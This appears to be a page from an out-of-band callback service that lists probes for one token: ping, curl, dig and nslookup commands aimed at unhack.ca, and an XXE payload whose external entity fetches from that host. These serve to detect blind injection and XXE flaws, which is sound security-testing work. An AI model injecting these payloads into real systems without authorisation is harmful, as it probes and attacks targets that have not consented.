$ ping -c1 -p 00d873c0c1ed3d625a0cc2789adda700 unhack.ca
 

$ curl http://unhack.ca/p/d873c0c1ed3d625a0cc2789adda7
 

$ dig d873c0c1ed3d625a0cc2789adda7 @unhack.ca
 

$ dig d873c0c1ed3d625a0cc2789adda7.ns.unhack.ca
 

C:\> nslookup d873c0c1ed3d625a0cc2789adda7 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d873c0c1ed3d625a0cc2789adda7">]>
    <foo>&xxe;</foo>